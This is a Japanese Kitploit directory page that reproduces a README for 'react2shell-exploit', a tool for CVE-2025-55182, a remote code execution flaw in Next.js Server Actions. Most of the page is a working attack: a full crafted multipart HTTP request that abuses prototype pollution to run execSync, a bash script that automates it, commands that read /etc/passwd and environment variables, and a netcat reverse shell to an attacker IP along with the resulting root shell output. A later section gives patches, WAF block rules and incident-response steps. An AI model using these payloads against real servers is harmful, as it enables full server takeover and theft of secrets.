Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
react2shell-exploit — CVE-2025-55182(別名React2Shell)は、React Server Components(RSC)とServer Actionsを使用するNext.jsアプリケーションに影響を与える重大な脆弱性です。 | Kitploit
ツール/GitHubGitHub/yannisduvignau/react2shell-exploit
エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育リモートアクセスツールペイロード開発
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182(別名React2Shell)は、React Server Components(RSC)とServer Actionsを使用するNext.jsアプリケーションに影響を与える重大な脆弱性です。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
3ヶ月前未レビュー

CVE-2025-55182 – React2Shell

Next.jsにおけるリモートコード実行

⚠️ 免責事項: このドキュメントは教育およびセキュリティ研究目的のみで提供されています。あなたが所有していない、または明示的なテスト許可を得ていないシステムに対してこれらの技術を不正に使用することは違法です。


📋 目次

  1. 概要
  2. 動作の仕組み
  3. インストールとセットアップ
  4. ステップバイステップの悪用
  5. 結果と影響
  6. 緩和策

概要

CVE-2025-55182(別名 React2Shell)は、以下のものを使用するNext.jsアプリケーションに影響を与える重大な脆弱性です:

  • React Server Components (RSC)
  • Server Actions

なぜ危険なのか?

攻撃者は、以下を悪用することでサーバー上で**リモートコード実行(RCE)**を達成できます:

  1. RSCペイロードの安全でないデシリアライゼーション
  2. __proto__ と constructor を介したプロトタイプ汚染
  3. Next.jsサーバーランタイムにおける動的実行パス

結果: Node.jsプロセスの権限で任意のシステムコマンドが実行される可能性があります。


動作の仕組み

ステージ1: Next.js RSCプロトコル

Next.jsは、クライアントとサーバー間の通信に独自のmultipart/form-dataプロトコルを使用します:

  • クライアントはReact Server Componentsをサーバーに送信します
  • サーバーはそれらをデシリアライズして処理します
  • 結果はクライアントに返されます
root@kitploit:~
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

ステージ2: 弱点 - 安全でないデシリアライゼーション

この脆弱性は次の理由で存在します:

  1. ユーザー制御のデータがデシリアライゼーション前に検証されない
  2. プロトタイプチェーンへのアクセスが許可されている(__proto__、constructor)
  3. 特定のフィールドがリクエスト処理中に動的に評価される

ステージ3: プロトタイプ汚染攻撃

攻撃者は内部オブジェクトのプロパティを変更するペイロードを作成できます:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

__proto__を悪用することで、攻撃者はJavaScriptオブジェクトのプロトタイプを汚染し、それを継承するすべてのオブジェクトに影響を与えます。

ステージ4: コードインジェクション

_prefix フィールド内で、攻撃者は次のことを行うJavaScriptコードを注入します:

  1. process.mainModule.require()を介してNode.jsモジュールにアクセスする
  2. child_process モジュールをロードする
  3. execSync()を使用してシステムコマンドを実行する
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

ステージ5: 結果の抽出

コマンドの結果はエラーレスポンス内に隠されます:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.jsはこのエラーをクライアントに返し、コマンド出力はdigestフィールドで確認できます。


インストールとセットアップ

前提条件

  • Node.js 20
  • Burp Suite(リクエストインターセプト用の類似ツールでも可)
  • curl または Postman(ペイロード送信用)

ステップ1: 脆弱なサーバーのクローンとインストール

root@kitploit:~
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

ステップ2: サーバーを起動

root@kitploit:~
npm run dev

サーバーは次の場所でアクセス可能になります:

root@kitploit:~
http://localhost:3000

ステップ3: サーバーが実行中か確認

root@kitploit:~
curl http://localhost:3000/

この時点では、サーバーは正常に動作します。


ステップバイステップの悪用

アプローチ1: Burp Suiteを使用する(手動インターセプト)

ステップ1: インターセプトを有効にする

  1. Burp Suiteを開く
  2. Proxy → Intercept タブに移動
  3. Intercept is on を有効にする
  4. ブラウザで http://localhost:3000/ にアクセス

ステップ2: リクエストをインターセプト

GETリクエストがインターセプトされます。それをRepeaterタブに送信します:

  1. 右クリック → Send to Repeater
  2. Repeater タブに移動

ステップ3: 悪意のあるペイロードに置き換える

リクエスト全体を次のペイロードに置き換えます:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

ステップ4: リクエストを送信

Send をクリック


アプローチ2: 自動化された悪用スクリプト

exploit.sh ファイルを作成します:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

実行可能にします:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

コマンド例

ファイルとディレクトリの一覧表示

root@kitploit:~
COMMAND="ls -la /"

現在のユーザーを取得

root@kitploit:~
COMMAND="whoami"

ファイルを読み取る

root@kitploit:~
COMMAND="cat /etc/passwd"

ネットワーク接続を確認

root@kitploit:~
COMMAND="netstat -tuln"

環境変数を取得

root@kitploit:~
COMMAND="env"

リバースシェル(完全なサーバーアクセス)

完全な対話型シェルアクセスを得るには、リバースシェルを使用します。

攻撃者マシンで: 接続を待ち受ける

root@kitploit:~
ncat -lvnp 9009

またはnetcatを使用:

root@kitploit:~
nc -lvnp 9009

ターゲット上で: リバースシェルのペイロードを送信

次のコマンドでペイロードを変更します(<ATTACKER_IP> を自分のIPアドレスに置き換えてください):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

完全なペイロードは次のようになります:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

期待される結果

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

これでターゲットサーバー上で完全に対話型のシェルを手に入れました。


結果と影響

サーバーレスポンス

悪用に成功すると:

  1. サーバーはHTTP 500 Internal Server Errorで応答します
  2. レスポンスボディには実行されたシステムコマンドの出力が含まれます
  3. 出力はエラーレスポンス内のdigestフィールドに埋め込まれます

レスポンス例

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

潜在的な影響

  • 🔥 完全なリモートコード実行(RCE)
  • 📂 ファイルシステムへの完全なアクセス
  • 🔐 認証情報と秘密情報の窃取
  • 🚨 内部ネットワーク内でのラテラルムーブメント
  • 💥 サーバーの完全な侵害
  • 🔗 サプライチェーン攻撃(デプロイされたアプリケーションの侵害に使用された場合)
  • 📊 データの窃取と改ざん

緩和策

システム管理者向け

1. Next.jsを直ちに更新する

root@kitploit:~
npm install next@latest

修正済みのNext.jsバージョンを実行していることを確認してください。公式のセキュリティアドバイザリを確認してください。

2. RSCペイロードの厳格な検証

受信するRSCペイロードの厳格な検証を追加します:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Reject suspicious payloads
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Block payloads containing dangerous patterns
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
      return new NextResponse('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. 不要な場合はサーバーアクションを無効化する

next.config.js 内:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Disable if not needed
    }
  }
};

4. 最小権限でNode.jsを実行する

root@kitploit:~
# Create a dedicated user
useradd -r -s /bin/false nextjs

# Run the service under this user
sudo -u nextjs node server.js

# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. ケーパビリティを制限したコンテナ分離

制限されたケーパビリティを持つDockerを使用します:

root@kitploit:~
FROM node:20-alpine

# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

制限されたケーパビリティでコンテナを実行します:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. 不審なリクエストを監視する

包括的なロギングを実装します:

root@kitploit:~
// Custom logging middleware
app.use((req, res, next) => {
  // Log all POST requests with Next-Action header
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
      console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
      console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
      
      // Alert security team
      // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
      
      return res.status(403).json({ error: 'Forbidden' });
    }
  }
  
  next();
});

7. Webアプリケーションファイアウォール(WAF)を導入する

ブロックするようにWAFを設定します:

ModSecurity Rules:

root@kitploit:~
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"

AWS WAF Example:

root@kitploit:~
{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPolluton",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPolluton"
      }
    }
  ]
}

8. コンテンツセキュリティポリシー(CSP)ヘッダー

CSPは主にクライアント側を保護しますが、良い習慣です:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. 定期的なセキュリティ監査

root@kitploit:~
# Scan dependencies for vulnerabilities
npm audit
npm audit fix

# Use snyk for continuous monitoring
snyk monitor

# Regular penetration testing
# Schedule quarterly security assessments

10. インシデントレスポンス計画

悪用を疑う場合:

root@kitploit:~
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Check network connections
netstat -tuln
lsof -i -P -n

# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP

# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. Notify your security team and apply patches

技術的な詳細

ペイロードの内訳

root@kitploit:~
{
  // Step 1: Target the prototype chain
  "then": "$1:__proto__:then",
  
  // Step 2: Mark as resolved model
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Step 3: Inject code through _response
  "_response": {
    // The injected JavaScript code
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Reference to form data
    "_chunks": "$Q2",
    
    // Access constructor through form data
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

なぜ機能するのか

  1. マルチパート解析: Next.jsがマルチパートフォームデータを解析します
  2. 参照解決: $1 のような参照が他のフォームフィールドに解決されます
  3. オブジェクト再構築: 解析されたデータからオブジェクトが再構築されます
  4. プロトタイプ汚染: __proto__ パスがオブジェクトのプロトタイプを変更します
  5. コード実行: _prefix フィールドがエラーハンドリング中に評価されます
  6. コマンド実行: execSync が任意のコマンドを実行します
  7. 結果の外部送信: 出力がエラーダイジェストに埋め込まれます

追加リソース

  • オリジナルPoC: https://github.com/msanft/CVE-2025-55182/
  • Next.jsセキュリティドキュメント: https://nextjs.org/docs/security
  • OWASPプロトタイプ汚染: https://owasp.org/www-community/attacks/Prototype_pollution
  • Node.jsセキュリティベストプラクティス: https://nodejs.org/en/docs/guides/security/
  • CWE-502: 信頼されていないデータのデシリアライゼーション: https://cwe.mitre.org/data/definitions/502.html

結論

**CVE-2025-55182(React2Shell)**は、以下に関連する重大なリスクを示しています:

✅ ユーザー制御データの安全でないデシリアライゼーション ✅ JavaScriptプロトタイプチェーンにおけるプロトタイプ汚染 ✅ 適切な検証なしの動的コード実行

この脆弱性は、以下の重要性を強調しています:

  • 🔒 入力検証: ユーザー入力を決して信頼しない
  • 🛡️ 多層防御: 複数の保護レイヤーを使用する
  • ⚠️ フレームワークを最新に保つ: セキュリティパッチを直ちに適用する
  • 🔍 監視とロギング: 不審な動作を検出する
  • 🔐 最小権限の原則: 最小限の権限でサービスを実行する
  • 🧪 定期的なセキュリティテスト: 監査とペネトレーションテストを実施する

ライセンス: 教育目的のみ - コンピュータシステムへの不正アクセスは違法です。

正当なセキュリティ研究および認可されたテストのためには、テストを実施する前にシステム所有者から書面による許可を得てください。

ツールをダウンロード